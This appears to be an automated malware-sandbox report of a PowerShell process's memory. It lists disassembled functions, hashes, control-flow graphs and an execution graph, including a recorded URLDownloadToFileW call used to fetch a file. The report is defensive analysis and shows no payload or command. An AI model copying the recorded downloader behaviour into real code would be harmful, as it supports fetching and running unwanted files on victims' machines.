                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000003.00000002.2186383955.0000000007D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D10000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_3_2_7d10000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: 4'fq$4'fq$4'fq$4'fq
                                                                                    • API String ID: 0-359900465
                                                                                    • Opcode ID: ea69317c37707f14ceb0509c90d7f8f43a311642a7d8c3084696aa892ab587da
                                                                                    • Instruction ID: b3493e6ff3919a2685fe253f8755e84f7ef83f2109939abf8b8d142f76c854bf
                                                                                    • Opcode Fuzzy Hash: ea69317c37707f14ceb0509c90d7f8f43a311642a7d8c3084696aa892ab587da
                                                                                    • Instruction Fuzzy Hash: DA121CF1704305AFCB15CBA8A81076BFBA2BFD6314F1480BAD545CB245DB32D996C7A2
                                                                                    Function 07D14610 Relevance: 2.9, Strings: 2, Instructions: 439COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 169 7d14610-7d1463b 170 7d14641-7d14646 169->170 171 7d14af2-7d14b10 169->171 172 7d14648-7d1464e 170->172 173 7d1465e-7d14663 170->173 179 7d14b72-7d14b75 171->179 180 7d14b12-7d14b25 171->180 174 7d14650 172->174 175 7d14652-7d1465c 172->175 177 7d14673 173->177 178 7d14665-7d14671 173->178 174->173 175->173 181 7d14675-7d14677 177->181 178->181 187 7d14b7b-7d14b85 179->187 183 7d14b35 180->183 184 7d14b27-7d14b33 180->184 185 7d14a93-7d14a9d 181->185 186 7d1467d-7d14687 181->186 188 7d14b37-7d14b39 183->188 184->188 189 7d14aab-7d14ab1 185->189 190 7d14a9f-7d14aa8 185->190 186->171 191 7d1468d-7d14692 186->191 192 7d14b87-7d14b8b 187->192 193 7d14b8e-7d14b94 187->193 188->187 194 7d14b3b-7d14b42 188->194 195 7d14ab3-7d14ab5 189->195 196 7d14ab7-7d14ac3 189->196 197 7d14694-7d1469a 191->197 198 7d146aa-7d146b8 191->198 199 7d14b96-7d14b98 193->199 200 7d14b9a-7d14ba6 193->200 194->187 201 7d14b44-7d14b61 194->201 202 7d14ac5-7d14aef 195->202 196->202 203 7d1469c 197->203 204 7d1469e-7d146a8 197->204 198->185 211 7d146be-7d146dd 198->211 207 7d14ba8-7d14bc6 199->207 200->207 213 7d14b63-7d14b71 201->213 214 7d14bc9-7d14bce 201->214 203->198 204->198 211->185 221 7d146e3-7d146ed 211->221 213->179 214->213 221->171 222 7d146f3-7d146f8 221->222 223 7d14710-7d14714 222->223 224 7d146fa-7d14700 222->224 223->185 225 7d1471a-7d1471e 223->225 226 7d14702 224->226 227 7d14704-7d1470e 224->227 225->185 228 7d14724-7d14728 225->228 226->223 227->223 228->185 230 7d1472e-7d1473e 228->230 231 7d14744-7d1476b 230->231 232 7d147c6-7d14815 230->232 237 7d14785-7d147b3 231->237 238 7d1476d-7d14773 231->238 249 7d1481c-7d1482f 232->249 247 7d147c1-7d147c4 237->247 248 7d147b5-7d147b7 237->248 239 7d14775 238->239 240 7d14777-7d14783 238->240 239->237 240->237 247->249 248->247 250 7d14835-7d1485c 249->250 251 7d148b7-7d14906 249->251 256 7d14876-7d148a4 250->256 257 7d1485e-7d14864 250->257 268 7d1490d-7d14920 251->268 266 7d148b2-7d148b5 256->266 267 7d148a6-7d148a8 256->267 258 7d14866 257->258 259 7d14868-7d14874 257->259 258->256 259->256 266->268 267->266 269 7d14926-7d1494d 268->269 270 7d149a8-7d149f7 268->270 275 7d14967-7d14995 269->275 276 7d1494f-7d14955 269->276 287 7d149fe-7d14a2c 270->287 285 7d149a3-7d149a6 275->285 286 7d14997-7d14999 275->286 277 7d14957 276->277 278 7d14959-7d14965 276->278 277->275 278->275 285->287 286->285 292 7d14a2f call 50d1bf8 287->292 293 7d14a2f call 50d7a08 287->293 294 7d14a2f call 50d7a18 287->294 295 7d14a2f call 50d7c45 287->295 290 7d14a34-7d14a90 292->290 293->290 294->290 295->290
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000003.00000002.2186383955.0000000007D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D10000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_3_2_7d10000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: tPfq$tPfq
                                                                                    • API String ID: 0-2659045182
                                                                                    • Opcode ID: 435eecf7a43cb16347d17e1b2a945f7287352d47e60c807e572364e2638b3c9d
                                                                                    • Instruction ID: 318b9b6bd0777d391daf3ec18d1f06fba2a3ba84193715025dc7a68dd862b169
                                                                                    • Opcode Fuzzy Hash: 435eecf7a43cb16347d17e1b2a945f7287352d47e60c807e572364e2638b3c9d
                                                                                    • Instruction Fuzzy Hash: 9DF1E2B1B00245AFCB14CF68E851B6AFBE6EFC9724F248469E9459B380DB71DC41CB91
                                                                                    Function 07D104F8 Relevance: 2.7, Strings: 2, Instructions: 161COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 296 7d104f8-7d1050a 297 7d10510-7d10521 296->297 298 7d105ca-7d105fd 296->298 301 7d10523-7d10529 297->301 302 7d1053b-7d10558 297->302 303 7d1066b-7d10675 298->303 304 7d105ff-7d1063e 298->304 305 7d1052b 301->305 306 7d1052d-7d10539 301->306 302->298 313 7d1055a-7d1057c 302->313 307 7d10680-7d10686 303->307 308 7d10677-7d1067d 303->308 323 7d10640-7d1064e 304->323 324 7d106bb-7d106c0 304->324 305->302 306->302 310 7d10688-7d1068a 307->310 311 7d1068c-7d10698 307->311 315 7d1069a-7d106b8 310->315 311->315 321 7d10596-7d105ae 313->321 322 7d1057e-7d10584 313->322 332 7d105b0-7d105b2 321->332 333 7d105bc-7d105c7 321->333 326 7d10586 322->326 327 7d10588-7d10594 322->327 334 7d10656-7d10665 323->334 324->323 326->321 327->321 332->333 334->303
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000003.00000002.2186383955.0000000007D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D10000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_3_2_7d10000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: tPfq$tPfq
                                                                                    • API String ID: 0-2659045182
                                                                                    • Opcode ID: 218a9e4285d853058ac0d5ce031ae250daf01aafb43e416570431d4689c6a2b0
                                                                                    • Instruction ID: 0d4517cff517b854b088539ad2bb41fbc6a3aa3c56d7c0af5f925a26261c0076
                                                                                    • Opcode Fuzzy Hash: 218a9e4285d853058ac0d5ce031ae250daf01aafb43e416570431d4689c6a2b0
                                                                                    • Instruction Fuzzy Hash: 04513AB1B043146FDB10ABA8A811B6AFBE6EFC5714F54846AE944DF3C1CA71DC81C7A1
                                                                                    Function 050D1BF8 Relevance: 1.6, APIs: 1, Instructions: 68filenetworkCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 414 50d1bf8-50d7e52 417 50d7e5d-50d7e63 414->417 418 50d7e54-50d7e5a 414->418 419 50d7e65-50d7e6e 417->419 420 50d7e71-50d7ea6 URLDownloadToFileW 417->420 418->417 419->420 421 50d7eaf-50d7ec3 420->421 422 50d7ea8-50d7eae 420->422 422->421
                                                                                    APIs
                                                                                    • URLDownloadToFileW.URLMON(?,00000000,00000000,?,00000001), ref: 050D7E99
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000003.00000002.2179895759.00000000050D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050D0000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_3_2_50d0000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID: DownloadFile
                                                                                    • String ID:
                                                                                    • API String ID: 1407266417-0
                                                                                    • Opcode ID: 021ca598c0f7ebe814fabca2a77e29f20a716828de955588f7807ded8b9d3005
                                                                                    • Instruction ID: 3ed6e2c2028fcc46bfa23657188333a7c9e3e2841491eaa948c7a456cdb29d8e
                                                                                    • Opcode Fuzzy Hash: 021ca598c0f7ebe814fabca2a77e29f20a716828de955588f7807ded8b9d3005
                                                                                    • Instruction Fuzzy Hash: C621F5B1D01359DFCB04CF99D984B9EFBF4FB48310F10855AE918A7210D374A954CBA0
                                                                                    Function 07D145F4 Relevance: 1.5, Strings: 1, Instructions: 237COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 424 7d145f4-7d1463b 426 7d14641-7d14646 424->426 427 7d14af2-7d14b10 424->427 428 7d14648-7d1464e 426->428 429 7d1465e-7d14663 426->429 435 7d14b72-7d14b75 427->435 436 7d14b12-7d14b25 427->436 430 7d14650 428->430 431 7d14652-7d1465c 428->431 433 7d14673 429->433 434 7d14665-7d14671 429->434 430->429 431->429 437 7d14675-7d14677 433->437 434->437 443 7d14b7b-7d14b85 435->443 439 7d14b35 436->439 440 7d14b27-7d14b33 436->440 441 7d14a93-7d14a9d 437->441 442 7d1467d-7d14687 437->442 444 7d14b37-7d14b39 439->444 440->444 445 7d14aab-7d14ab1 441->445 446 7d14a9f-7d14aa8 441->446 442->427 447 7d1468d-7d14692 442->447 448 7d14b87-7d14b8b 443->448 449 7d14b8e-7d14b94 443->449 444->443 450 7d14b3b-7d14b42 444->450 451 7d14ab3-7d14ab5 445->451 452 7d14ab7-7d14ac3 445->452 453 7d14694-7d1469a 447->453 454 7d146aa-7d146b8 447->454 455 7d14b96-7d14b98 449->455 456 7d14b9a-7d14ba6 449->456 450->443 457 7d14b44-7d14b61 450->457 458 7d14ac5-7d14aef 451->458 452->458 459 7d1469c 453->459 460 7d1469e-7d146a8 453->460 454->441 467 7d146be-7d146dd 454->467 463 7d14ba8-7d14bc6 455->463 456->463 469 7d14b63-7d14b71 457->469 470 7d14bc9-7d14bce 457->470 459->454 460->454 467->441 477 7d146e3-7d146ed 467->477 469->435 470->469 477->427 478 7d146f3-7d146f8 477->478 479 7d14710-7d14714 478->479 480 7d146fa-7d14700 478->480 479->441 481 7d1471a-7d1471e 479->481 482 7d14702 480->482 483 7d14704-7d1470e 480->483 481->441 484 7d14724-7d14728 481->484 482->479 483->479 484->441 486 7d1472e-7d1473e 484->486 487 7d14744-7d1476b 486->487 488 7d147c6-7d14815 486->488 493 7d14785-7d147b3 487->493 494 7d1476d-7d14773 487->494 505 7d1481c-7d1482f 488->505 503 7d147c1-7d147c4 493->503 504 7d147b5-7d147b7 493->504 495 7d14775 494->495 496 7d14777-7d14783 494->496 495->493 496->493 503->505 504->503 506 7d14835-7d1485c 505->506 507 7d148b7-7d14906 505->507 512 7d14876-7d148a4 506->512 513 7d1485e-7d14864 506->513 524 7d1490d-7d14920 507->524 522 7d148b2-7d148b5 512->522 523 7d148a6-7d148a8 512->523 514 7d14866 513->514 515 7d14868-7d14874 513->515 514->512 515->512 522->524 523->522 525 7d14926-7d1494d 524->525 526 7d149a8-7d149f7 524->526 531 7d14967-7d14995 525->531 532 7d1494f-7d14955 525->532 543 7d149fe-7d14a2c 526->543 541 7d149a3-7d149a6 531->541 542 7d14997-7d14999 531->542 533 7d14957 532->533 534 7d14959-7d14965 532->534 533->531 534->531 541->543 542->541 548 7d14a2f call 50d1bf8 543->548 549 7d14a2f call 50d7a08 543->549 550 7d14a2f call 50d7a18 543->550 551 7d14a2f call 50d7c45 543->551 546 7d14a34-7d14a90 548->546 549->546 550->546 551->546
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000003.00000002.2186383955.0000000007D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D10000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_3_2_7d10000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: tPfq
                                                                                    • API String ID: 0-3170913260
                                                                                    • Opcode ID: 95f78e71ba7b92e08e5b328915bf865eea9a3446cd241a511e0054e0f0b23fd9
                                                                                    • Instruction ID: 03621cba4bb85c648c78aa244c9ec9dc327d1c09f138c7445849ba0dd7bb5b2d
                                                                                    • Opcode Fuzzy Hash: 95f78e71ba7b92e08e5b328915bf865eea9a3446cd241a511e0054e0f0b23fd9
                                                                                    • Instruction Fuzzy Hash: 2E91C4F0B00245AFCB24CF58E441B6AFBB2BF89714F658459E8459B384CB71EC41CB91
                                                                                    Function 07D11F24 Relevance: .1, Instructions: 121COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 745 7d11f24-7d11f65 747 7d12158-7d121a2 745->747 748 7d11f6b-7d11f70 745->748 756 7d12326-7d1236a 747->756 757 7d121a8-7d121ad 747->757 749 7d11f72-7d11f78 748->749 750 7d11f88-7d11f8c 748->750 752 7d11f7a 749->752 753 7d11f7c-7d11f86 749->753 754 7d11f92-7d11f94 750->754 755 7d12108-7d12112 750->755 752->750 753->750 760 7d11fa4 754->760 761 7d11f96-7d11fa2 754->761 758 7d12120-7d12126 755->758 759 7d12114-7d1211d 755->759 777 7d12480-7d124b5 756->777 778 7d12370-7d12375 756->778 766 7d121c5-7d121c9 757->766 767 7d121af-7d121b5 757->767 763 7d12128-7d1212a 758->763 764 7d1212c-7d12138 758->764 762 7d11fa6-7d11fa8 760->762 761->762 762->755 770 7d11fae-7d11fcd 762->770 774 7d1213a-7d12155 763->774 764->774 771 7d122d8-7d122e2 766->771 772 7d121cf-7d121d1 766->772 768 7d121b7 767->768 769 7d121b9-7d121c3 767->769 768->766 769->766 812 7d11fdd 770->812 813 7d11fcf-7d11fdb 770->813 779 7d122e4-7d122ec 771->779 780 7d122ef-7d122f5 771->780 775 7d121e1 772->775 776 7d121d3-7d121df 772->776 782 7d121e3-7d121e5 775->782 776->782 802 7d124e3-7d124ed 777->802 803 7d124b7-7d124d9 777->803 784 7d12377-7d1237d 778->784 785 7d1238d-7d12391 778->785 788 7d122f7-7d122f9 780->788 789 7d122fb-7d12307 780->789 782->771 792 7d121eb-7d1220a 782->792 790 7d12381-7d1238b 784->790 791 7d1237f 784->791 793 7d12432-7d1243c 785->793 794 7d12397-7d12399 785->794 796 7d12309-7d12323 788->796 789->796 790->785 791->785 835 7d1221a 792->835 836 7d1220c-7d12218 792->836 804 7d12449-7d1244f 793->804 805 7d1243e-7d12446 793->805 800 7d123a9 794->800 801 7d1239b-7d123a7 794->801 808 7d123ab-7d123ad 800->808 801->808 809 7d124f7-7d124fd 802->809 810 7d124ef-7d124f4 802->810 839 7d124db-7d124e0 803->839 840 7d1252d-7d12556 803->840 806 7d12451-7d12453 804->806 807 7d12455-7d12461 804->807 817 7d12463-7d1247d 806->817 807->817 808->793 821 7d123b3-7d123b5 808->821 818 7d12503-7d1250f 809->818 819 7d124ff-7d12501 809->819 820 7d11fdf-7d11fe1 812->820 813->820 823 7d12511-7d1252a 818->823 819->823 820->755 825 7d11fe7-7d11fee 820->825 826 7d123b7-7d123bd 821->826 827 7d123cf-7d123d6 821->827 825->747 832 7d11ff4-7d11ff9 825->832 833 7d123c1-7d123cd 826->833 834 7d123bf 826->834 837 7d123d8-7d123de 827->837 838 7d123ee-7d1242f 827->838 843 7d12011-7d12020 832->843 844 7d11ffb-7d12001 832->844 833->827 834->827 841 7d1221c-7d1221e 835->841 836->841 845 7d123e0 837->845 846 7d123e2-7d123ec 837->846 862 7d12585-7d125b4 840->862 863 7d12558-7d1257e 840->863 841->771 850 7d12224-7d1225b 841->850 843->755 857 7d12026-7d12044 843->857 851 7d12003 844->851 852 7d12005-7d1200f 844->852 845->838 846->838 869 7d12275-7d1227c 850->869 870 7d1225d-7d12263 850->870 851->843 852->843 857->755 871 7d1204a-7d1206f 857->871 872 7d125b6-7d125d3 862->872 873 7d125ed-7d125f7 862->873 863->862 878 7d12294-7d122d5 869->878 879 7d1227e-7d12284 869->879 876 7d12265 870->876 877 7d12267-7d12273 870->877 871->755 896 7d12075-7d1207c 871->896 890 7d125d5-7d125e7 872->890 891 7d1263d-7d12642 872->891 874 7d12600-7d12606 873->874 875 7d125f9-7d125fd 873->875 881 7d12608-7d1260a 874->881 882 7d1260c-7d12618 874->882 876->869 877->869 883 7d12286 879->883 884 7d12288-7d12292 879->884 889 7d1261a-7d1263a 881->889 882->889 883->878 884->878 890->873 891->890 898 7d120c2-7d120f5 896->898 899 7d1207e-7d12099 896->899 910 7d120fc-7d12105 898->910 903 7d120b3-7d120b7 899->903 904 7d1209b-7d120a1 899->904 908 7d120be-7d120c0 903->908 905 7d120a3 904->905 906 7d120a5-7d120b1 904->906 905->903 906->903 908->910
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000003.00000002.2186383955.0000000007D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D10000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_3_2_7d10000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: e6879947bd415a5f321a488d5afc24cd7a06ef3859a6e8f193e43268e26a8014
                                                                                    • Instruction ID: 0ae31f310cee8097754b06e628f2e1fdac27bbc476a6141cd191c5fda3451ce8
                                                                                    • Opcode Fuzzy Hash: e6879947bd415a5f321a488d5afc24cd7a06ef3859a6e8f193e43268e26a8014
                                                                                    • Instruction Fuzzy Hash: 8E41EAF1704306EFCB10CB54AC40A6AFBB1AF86314F558095DA059F256D733E995C7A2
                                                                                    Function 0344D006 Relevance: .0, Instructions: 45COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000003.00000002.2179094990.000000000344D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0344D000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_3_2_344d000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 84705db08c177626210ad9e1bcf4cf4d3564aceb9f3bdf24f73855d1df062a89
                                                                                    • Instruction ID: 0b2c35eb6bec8b86726fcb670e5aed9e1ab73046fbdff8fdc0e1649e2530c813
                                                                                    • Opcode Fuzzy Hash: 84705db08c177626210ad9e1bcf4cf4d3564aceb9f3bdf24f73855d1df062a89
                                                                                    • Instruction Fuzzy Hash: D601007240E3C05EE7128B258994B56BFB8DF53224F1D81DBE9888F2A3C2695845C776
                                                                                    Function 0344D01D Relevance: .0, Instructions: 45COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000003.00000002.2179094990.000000000344D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0344D000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_3_2_344d000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 5ecb97d9e67a8ae378a7b22944e87442c73fbcb1da61e74510ea4ea23c1ffb2e
                                                                                    • Instruction ID: be399bf2cf7084a7b6215a6d08e8f28a2353a8d96fee8512fc3d38508b3e4b67
                                                                                    • Opcode Fuzzy Hash: 5ecb97d9e67a8ae378a7b22944e87442c73fbcb1da61e74510ea4ea23c1ffb2e
                                                                                    • Instruction Fuzzy Hash: 2901D4718093009AF7108A25CDC0B67BF98DF42328F0CC47BED484F243C6789842C6B5

                                                                                    Non-executed Functions

                                                                                    Function 07D137F8 Relevance: 7.9, Strings: 6, Instructions: 373COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000003.00000002.2186383955.0000000007D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D10000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_3_2_7d10000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: 4'fq$4'fq$4'fq$4'fq$tPfq$tPfq
                                                                                    • API String ID: 0-3815971827
                                                                                    • Opcode ID: 59a172b7c9d4ffdd9a9b56664f44037aa9ae09e67833e559714ca923713e27a1
                                                                                    • Instruction ID: 056c1520774a92cb91dcdf610982c4117b62ec74604fb2d6e2b57026f21d1a0c
                                                                                    • Opcode Fuzzy Hash: 59a172b7c9d4ffdd9a9b56664f44037aa9ae09e67833e559714ca923713e27a1
                                                                                    • Instruction Fuzzy Hash: DCC118F1B04356AFCB14CB6CA41166BFFA6AFC2210F14807AD545CB281DB31DC96C792
                                                                                    Function 07D13D30 Relevance: 5.2, Strings: 4, Instructions: 250COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000003.00000002.2186383955.0000000007D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D10000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_3_2_7d10000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: 4'fq$4'fq$4'fq$4'fq
                                                                                    • API String ID: 0-359900465
                                                                                    • Opcode ID: 3bf517cc5c6b565ecf72b3178c004b0d67524deebac2ef1b8a91ee9e22d98705
                                                                                    • Instruction ID: 1bf2e85c450761b7d82ba1c39c797b01afbe36723b636c4324038ce236503711
                                                                                    • Opcode Fuzzy Hash: 3bf517cc5c6b565ecf72b3178c004b0d67524deebac2ef1b8a91ee9e22d98705
                                                                                    • Instruction Fuzzy Hash: D38114B1B08306AFCF149B79E8406AAFFB5AF86210F14C0BBD545CB251DB35C855C7A2
                                                                                    Function 07D13550 Relevance: 5.1, Strings: 4, Instructions: 94COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000003.00000002.2186383955.0000000007D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D10000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_3_2_7d10000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: $fq$$fq$$fq$$fq
                                                                                    • API String ID: 0-2113499236
                                                                                    • Opcode ID: 692774bd20c033c00365f27dac08ef265aa107a071f97e574c50d13d675b45da
                                                                                    • Instruction ID: 5f5254c8afe445dcfd1cc784f2f7feb4ae9d734ab12647dcdc84f2e57500891f
                                                                                    • Opcode Fuzzy Hash: 692774bd20c033c00365f27dac08ef265aa107a071f97e574c50d13d675b45da
                                                                                    • Instruction Fuzzy Hash: F92144F17143067BEB2496AEA810B27FEDA9BC1B15F64803AE545CB3C1DD36C8418361
                                                                                    Function 07D10080 Relevance: 5.0, Strings: 4, Instructions: 48COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000003.00000002.2186383955.0000000007D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D10000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_3_2_7d10000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: 4'fq$4'fq$$fq$$fq
                                                                                    • API String ID: 0-2206495126
                                                                                    • Opcode ID: 5a26651a2a67ee0963311d724db8dfc7535ab54fe8190a46b7a67e01d71b51af
                                                                                    • Instruction ID: 4057d7d4e4d164505bf1704ec4d516280913ddfbccc5ec5fac87d13874fa19d4
                                                                                    • Opcode Fuzzy Hash: 5a26651a2a67ee0963311d724db8dfc7535ab54fe8190a46b7a67e01d71b51af
                                                                                    • Instruction Fuzzy Hash: 5C01F26170E3C51FC72662782C2046BAF766FC355032A81EBE181EF287CE198C8583E3

                                                                                    Execution Graph

                                                                                    Execution Coverage:5.3%
                                                                                    Dynamic/Decrypted Code Coverage:100%
                                                                                    Signature Coverage:20.8%
                                                                                    Total number of Nodes:283
                                                                                    Total number of Limit Nodes:14
                                                                                    execution_graph 62461 2bdc2fc 62471 2bb6518 62461->62471 62465 2bdc32a 62476 2bdbb50 timeSetEvent 62465->62476 62467 2bdc334 62468 2bdc342 GetMessageA 62467->62468 62469 2bdc336 TranslateMessage DispatchMessageA 62468->62469 62470 2bdc352 62468->62470 62469->62468 62472 2bb6523 62471->62472 62477 2bb4168 62472->62477 62475 2bb427c SysAllocStringLen SysFreeString SysReAllocStringLen 62475->62465 62476->62467 62478 2bb41ae 62477->62478 62479 2bb43b8 62478->62479 62480 2bb4227 62478->62480 62482 2bb43e9 62479->62482 62487 2bb43fa 62479->62487 62491 2bb4100 62480->62491 62496 2bb432c GetStdHandle WriteFile GetStdHandle WriteFile MessageBoxA 62482->62496 62485 2bb43f3 62485->62487 62486 2bb443f FreeLibrary 62486->62487 62487->62486 62488 2bb4463 62487->62488 62489 2bb446c 62488->62489 62490 2bb4472 ExitProcess 62488->62490 62489->62490 62492 2bb4110 62491->62492 62493 2bb4143 62491->62493 62492->62493 62497 2bb15cc 62492->62497 62501 2bb5814 62492->62501 62493->62475 62496->62485 62505 2bb1560 62497->62505 62499 2bb15d4 VirtualAlloc 62500 2bb15eb 62499->62500 62500->62492 62502 2bb5840 62501->62502 62503 2bb5824 GetModuleFileNameA 62501->62503 62502->62492 62507 2bb5a78 GetModuleFileNameA RegOpenKeyExA 62503->62507 62506 2bb1500 62505->62506 62506->62499 62508 2bb5afb 62507->62508 62509 2bb5abb RegOpenKeyExA 62507->62509 62525 2bb58b4 12 API calls 62508->62525 62509->62508 62510 2bb5ad9 RegOpenKeyExA 62509->62510 62510->62508 62512 2bb5b84 lstrcpynA GetThreadLocale GetLocaleInfoA 62510->62512 62514 2bb5c9e 62512->62514 62517 2bb5bbb 62512->62517 62513 2bb5b20 RegQueryValueExA 62515 2bb5b40 RegQueryValueExA 62513->62515 62518 2bb5b5e RegCloseKey 62513->62518 62514->62502 62515->62518 62516 2bb5bcb lstrlenA 62520 2bb5be3 62516->62520 62517->62514 62517->62516 62518->62502 62520->62514 62521 2bb5c08 lstrcpynA LoadLibraryExA 62520->62521 62522 2bb5c30 62520->62522 62521->62522 62522->62514 62523 2bb5c3a lstrcpynA LoadLibraryExA 62522->62523 62523->62514 62524 2bb5c6c lstrcpynA LoadLibraryExA 62523->62524 62524->62514 62525->62513 62526 2bb4e88 62527 2bb4e95 62526->62527 62531 2bb4e9c 62526->62531 62535 2bb4bdc SysAllocStringLen 62527->62535 62532 2bb4bfc 62531->62532 62533 2bb4c08 62532->62533 62534 2bb4c02 SysFreeString 62532->62534 62534->62533 62535->62531 62536 2bb1c6c 62537 2bb1c7c 62536->62537 62538 2bb1d04 62536->62538 62541 2bb1c89 62537->62541 62542 2bb1cc0 62537->62542 62539 2bb1f58 62538->62539 62540 2bb1d0d 62538->62540 62546 2bb1fec 62539->62546 62550 2bb1f68 62539->62550 62551 2bb1fac 62539->62551 62543 2bb1d25 62540->62543 62558 2bb1e24 62540->62558 62545 2bb1c94 62541->62545 62584 2bb1724 62541->62584 62544 2bb1724 10 API calls 62542->62544 62548 2bb1d2c 62543->62548 62554 2bb1d48 62543->62554 62559 2bb1dfc 62543->62559 62566 2bb1cd7 62544->62566 62547 2bb1e7c 62553 2bb1724 10 API calls 62547->62553 62574 2bb1e95 62547->62574 62552 2bb1724 10 API calls 62550->62552 62556 2bb1fb2 62551->62556 62560 2bb1724 10 API calls 62551->62560 62573 2bb1f82 62552->62573 62570 2bb1f2c 62553->62570 62564 2bb1d79 Sleep 62554->62564 62576 2bb1d9c 62554->62576 62555 2bb1cfd 62557 2bb1cb9 62558->62547 62563 2bb1e55 Sleep 62558->62563 62558->62574 62561 2bb1724 10 API calls 62559->62561 62575 2bb1fc1 62560->62575 62578 2bb1e05 62561->62578 62562 2bb1fa7 62563->62547 62567 2bb1e6f Sleep 62563->62567 62568 2bb1d91 Sleep 62564->62568 62564->62576 62565 2bb1ca1 62565->62557 62608 2bb1a8c 62565->62608 62566->62555 62572 2bb1a8c 8 API calls 62566->62572 62567->62558 62568->62554 62570->62574 62577 2bb1a8c 8 API calls 62570->62577 62571 2bb1e1d 62572->62555 62573->62562 62579 2bb1a8c 8 API calls 62573->62579 62575->62562 62580 2bb1a8c 8 API calls 62575->62580 62581 2bb1f50 62577->62581 62578->62571 62582 2bb1a8c 8 API calls 62578->62582 62579->62562 62583 2bb1fe4 62580->62583 62582->62571 62585 2bb1968 62584->62585 62586 2bb173c 62584->62586 62587 2bb1938 62585->62587 62588 2bb1a80 62585->62588 62597 2bb17cb Sleep 62586->62597 62598 2bb174e 62586->62598 62592 2bb1947 Sleep 62587->62592 62601 2bb1986 62587->62601 62590 2bb1a89 62588->62590 62591 2bb1684 VirtualAlloc 62588->62591 62589 2bb175d 62589->62565 62590->62565 62593 2bb16bf 62591->62593 62594 2bb16af 62591->62594 62595 2bb195d Sleep 62592->62595 62592->62601 62593->62565 62625 2bb1644 62594->62625 62595->62587 62597->62598 62600 2bb17e4 Sleep 62597->62600 62598->62589 62599 2bb182c 62598->62599 62602 2bb180a Sleep 62598->62602 62606 2bb15cc VirtualAlloc 62599->62606 62607 2bb1838 62599->62607 62600->62586 62603 2bb15cc VirtualAlloc 62601->62603 62605 2bb19a4 62601->62605 62602->62599 62604 2bb1820 Sleep 62602->62604 62603->62605 62604->62598 62605->62565 62606->62607 